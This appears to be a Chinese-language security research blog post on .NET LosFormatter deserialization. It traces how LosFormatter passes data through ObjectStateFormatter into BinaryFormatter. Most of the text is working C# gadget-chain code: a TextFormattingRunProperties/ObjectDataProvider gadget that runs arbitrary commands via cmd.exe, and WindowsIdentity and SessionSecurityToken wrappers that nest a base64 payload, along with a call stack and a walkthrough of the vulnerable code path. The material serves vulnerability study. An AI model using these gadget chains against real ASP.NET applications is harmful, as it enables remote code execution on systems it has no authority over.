LosFormatter

LosFormatter一般用于序列化存储视图流状态,多用于Web窗体,如ViewState。LosFormatter封装在System.Web.dll中,命名空间为System.Web.UI,使用LosFormatter反序列化不信任的数据会造成RCE。

image-20240305110405937

两个参数的构造方法表示使用”启用mac”和”mac密钥修饰符”来初始化LosFormatter。使用LosFormatter序列化对象仍需要标记[Serializable]

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
using System;
using System.IO;
using System.Text;
using System.Web.UI;

namespace LosFormatterDeserialize
{
class Program
{
[Serializable]
class Person
{
private string name;

public string Name
{
get { return name; }
set { name = value; }
}

private int age;

public int Age
{
get { return age; }
set { age = value; }
}

public Person(string name, int age)
{
Name = name;
Age = age;
}

public void SayHello()
{
Console.WriteLine("hello");
}
}
static void Main(string[] args)
{
LosFormatter losFormatter = new LosFormatter();
using (MemoryStream memory = new MemoryStream())
{
losFormatter.Serialize(memory, new Person("jack", 15));

memory.Position = 0;
Person p = (Person)losFormatter.Deserialize(memory);
p.SayHello();
Console.WriteLine(Encoding.UTF8.GetString(memory.ToArray()));
}
Console.ReadKey();
}
}
}

image-20240305111501233

可见losformatter序列化之后的对象是base64编码的,以/wEyt开头,实战中应注意。

LosFormatter有多个反序列化Deserialize()重载

image-20240305111600024

反序列化方法也有多个重载方法 字符流和字符串都可以接受

1
2
3
4
5
6
7
static void Main(string[] args)
{
LosFormatter losFormatter = new LosFormatter();
Person p = (Person)losFormatter.Deserialize("/wEytAEAAQAAAP////8BAAAAAAAAAAwCAAAATkxvc0Zvcm1hdHRlckRlc2VyaWFsaXplLCBWZXJzaW9uPTEuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49bnVsbAUBAAAAJkxvc0Zvcm1hdHRlckRlc2VyaWFsaXplLlByb2dyYW0rUGVyc29uAgAAAARuYW1lA2FnZQEACAIAAAAGAwAAAARqYWNrDwAAAAs=");
p.SayHello();
Console.ReadKey();
}

image-20240305112109672

image-20240305112202095

跟进其反序列化函数发现 其反序列化使用的是ObjectStateFormatter来进行反序列化

image-20240305112339413

先从base64转字节数组,然后判断是否启用mac等。

LosFormatter交由ObjectStateFormatter反序列化处理,二次反序列化来进行处理

ClaimsIdentity

这里起的标题是这个ClaimsIdentity 但是等会接下来用的链子不会用到这个链子 只是说会用到这里类的反序列化流程

image-20240305143221444

image-20240305143233918

将自身m_bootstrapContext字段对象存放到System.Security.ClaimsIdentity.bootstrapContext中。而该字段是object类型。并且没有标记NonSerialized

此时写一个案例来看下当类自身字段(就是属性)值为object类型时的堆栈。

(其实就是模拟上述ClaimsIdentity类的调用过程)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security;
using System.Security.Claims;
using System.Security.Principal;
using System.Text;
using System.Web.Security;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;

namespace LosFormatterDeserialize
{
class Program
{
static void Main(string[] args)
{

LosFormatter losFormatter = new LosFormatter();
using (MemoryStream memory = new MemoryStream())
{
TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal();
My my = new My();
my.o = textFormattingRunPropertiesMarshal;
losFormatter.Serialize(memory,my);
memory.Position = 0;
losFormatter.Deserialize(memory);
}
Console.ReadKey();
}
}
[Serializable]
public class My
{
public object o;
}

[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
public static string gadget(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;

return XamlWriter.Save(odp);
}
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
_xaml = gadget(cmd);
}
public TextFormattingRunPropertiesMarshal()
{
_xaml = gadget("calc");
}
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
TextFormattingRunProperties.GetObjectFromSerializationInfo()at C:\Users\sdbdb\AppData\Roaming\JetBrains\Rider2022.1\resharper-host\DecompilerCache\decompiler\daf9a58f03a34857b2a38723152cb62e26c10\c9\edb1d909\TextFormattingRunProperties.cs:line 863
new TextFormattingRunProperties()at C:\Users\sdbdb\AppData\Roaming\JetBrains\Rider2022.1\resharper-host\DecompilerCache\decompiler\daf9a58f03a34857b2a38723152cb62e26c10\c9\edb1d909\TextFormattingRunProperties.cs:line 119
[Native to Managed Transition]
ObjectManager.CompleteISerializableObject()
ObjectManager.FixupSpecialObject()
ObjectManager.DoFixups()
ObjectReader.Deserialize()
BinaryFormatter.Deserialize()
BinaryFormatter.Deserialize()
ObjectStateFormatter.DeserializeValue()
ObjectStateFormatter.Deserialize()
ObjectStateFormatter.Deserialize()
ObjectStateFormatter.Deserialize()
LosFormatter.Deserialize()
LosFormatter.Deserialize()
LosFormatter.Deserialize()
Program.Main()

仔细看的话在调用到ObjectStateFormatter这个类的时候 还会接着调用BinaryFormatter这个类来接着进行反序列化操作

那么至此可知,LosFormatter底层ObjectStatesFormatter会调用binaryformatter序列化和反序列化自身object字段。这也是ClaimsIdentity链的原理,套娃二次反序列化。

(给ClaimsIdentity的m_bootstrapContext参数传入对象的话 链子就会连起来)

WindowsIdentity

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Principal;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;

namespace LosFormatterDeserialize
{
class Program
{
static void Main(string[] args)
{

LosFormatter losFormatter = new LosFormatter();
BinaryFormatter bf = new BinaryFormatter();
using (MemoryStream memory = new MemoryStream())
{
TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal();
bf.Serialize(memory, textFormattingRunPropertiesMarshal);
string b64payload = Convert.ToBase64String(memory.ToArray());
WindowsIdentityIdentityMarshal windowsIdentityIdentityMarshal = new WindowsIdentityIdentityMarshal(b64payload);

memory.Position = 0;
losFormatter.Serialize(memory, windowsIdentityIdentityMarshal);
memory.Position = 0;
losFormatter.Deserialize(memory);

}
Console.ReadKey();
}
}
[Serializable]
public class WindowsIdentityIdentityMarshal : ISerializable
{
public WindowsIdentityIdentityMarshal(string b64payload)
{
B64Payload = b64payload;
}

private string B64Payload { get; }

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(WindowsIdentity));
info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload);
info.AddValue("System.Security.ClaimsIdentity.bootstrapContext", B64Payload);
info.AddValue("System.Security.ClaimsIdentity.claims", B64Payload);
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
public static string gadget(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;

return XamlWriter.Save(odp);
}
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
_xaml = gadget(cmd);
}
public TextFormattingRunPropertiesMarshal()
{
_xaml = gadget("calc");
}
}
}

这个是上面讲的那个ClaimsIdentity的子类 我们跟进这个类的反序列化函数中

image-20240305170131681

其反序列化构造函数还继承了这个父类的反序列化构造函数

image-20240305170246677

我们跟进这Deserialize方法中

image-20240305170431050

发现这里有很多case 都会先base64解码 然后放入到binary中进行反序列化操作

image-20240305170514665

其参数就是ClaimsIdentity类中的参数 那么我们在序列化的时候给其赋值就行了

那么在info中设置key为System.Security.ClaimsIdentity.actor或bootstrapContext或claims,值为base64之后的TextFormattingRunPropertiesMarshal对象即可触发RCE。

SessionSecurityToken

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IdentityModel.Tokens;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Principal;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml;

namespace LosFormatterDeserialize
{
class Program
{
static void Main(string[] args)
{

LosFormatter losFormatter = new LosFormatter();
BinaryFormatter bf = new BinaryFormatter();
using (MemoryStream memory = new MemoryStream())
{
TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal();
bf.Serialize(memory, textFormattingRunPropertiesMarshal);
string b64payload = Convert.ToBase64String(memory.ToArray());
SessionSecurityTokenMarshal windowsIdentityIdentityMarshal = new SessionSecurityTokenMarshal(b64payload);

memory.Position = 0;
losFormatter.Serialize(memory, windowsIdentityIdentityMarshal);
memory.Position = 0;
losFormatter.Deserialize(memory);

}
Console.ReadKey();
}
}
[Serializable]
public class SessionSecurityTokenMarshal : ISerializable
{
public SessionSecurityTokenMarshal(string b64payload)
{
B64Payload = b64payload;
}

private string B64Payload { get; }

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(SessionSecurityToken));
MemoryStream stream = new MemoryStream();

using (XmlDictionaryWriter xmlDictionaryWriter = XmlDictionaryWriter.CreateBinaryWriter(stream, null, null))
{
xmlDictionaryWriter.WriteStartElement("SecurityContextToken", "");

xmlDictionaryWriter.WriteStartElement("Version", "");
xmlDictionaryWriter.WriteValue("1");
xmlDictionaryWriter.WriteEndElement();

xmlDictionaryWriter.WriteElementString("SecureConversationVersion", "", (new Uri("http://schemas.xmlsoap.org/ws/2005/02/sc")).AbsoluteUri);

xmlDictionaryWriter.WriteElementString("Id", "", "1");

WriteElementStringAsUniqueId(xmlDictionaryWriter, "ContextId", "", "1");

xmlDictionaryWriter.WriteStartElement("Key", "");
xmlDictionaryWriter.WriteBase64(new byte[] { 0x01 }, 0, 1);
xmlDictionaryWriter.WriteEndElement();

WriteElementContentAsInt64(xmlDictionaryWriter, "EffectiveTime", "", 1);
WriteElementContentAsInt64(xmlDictionaryWriter, "ExpiryTime", "", 1);
WriteElementContentAsInt64(xmlDictionaryWriter, "KeyEffectiveTime", "", 1);
WriteElementContentAsInt64(xmlDictionaryWriter, "KeyExpiryTime", "", 1);

xmlDictionaryWriter.WriteStartElement("ClaimsPrincipal", "");
xmlDictionaryWriter.WriteStartElement("Identities", "");
xmlDictionaryWriter.WriteStartElement("Identity", "");
xmlDictionaryWriter.WriteStartElement("BootStrapToken", "");
xmlDictionaryWriter.WriteValue(B64Payload); // This is where the payload is
xmlDictionaryWriter.WriteEndElement();
xmlDictionaryWriter.WriteEndElement();
xmlDictionaryWriter.WriteEndElement();
xmlDictionaryWriter.WriteEndElement();

xmlDictionaryWriter.WriteEndElement();
xmlDictionaryWriter.Flush();

stream.Position = 0;

//Console.WriteLine(Encoding.ASCII.GetString(stream.ToArray()));

info.AddValue("SessionToken", stream.ToArray());

}
}

private void WriteElementContentAsInt64(XmlDictionaryWriter writer, String localName, String ns, long value)
{
writer.WriteStartElement(localName, ns);
writer.WriteValue(value);
writer.WriteEndElement();
}

private void WriteElementStringAsUniqueId(XmlDictionaryWriter writer, String localName, String ns, string id)
{
writer.WriteStartElement(localName, ns);
writer.WriteValue(id);
writer.WriteEndElement();
}

}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
public static string gadget(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;

return XamlWriter.Save(odp);
}
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
_xaml = gadget(cmd);
}
public TextFormattingRunPropertiesMarshal()
{
_xaml = gadget("calc");
}
}
}

Gadgets

image-20240306144310027

image-20240306144327778

在SessionSecurityToken类的构造反序列化函数中有个ReadPrincipal函数 我们跟进

image-20240306144407446

发现其调用了这个函数ReadIdentities 我们再次跟进

image-20240306144439645

再次跟进又发现了其ReadIdentity函数 我们再次跟进

image-20240306144526674

该方法中将BootstrapToken标签中的内容base64解码通过binaryformatter反序列化 思路清晰了 那么我们就只需要在其序列化的时候 调用GetObjectData函数 来给这些参数赋值 使其能成功调用到这些函数 并走到最后反序列化处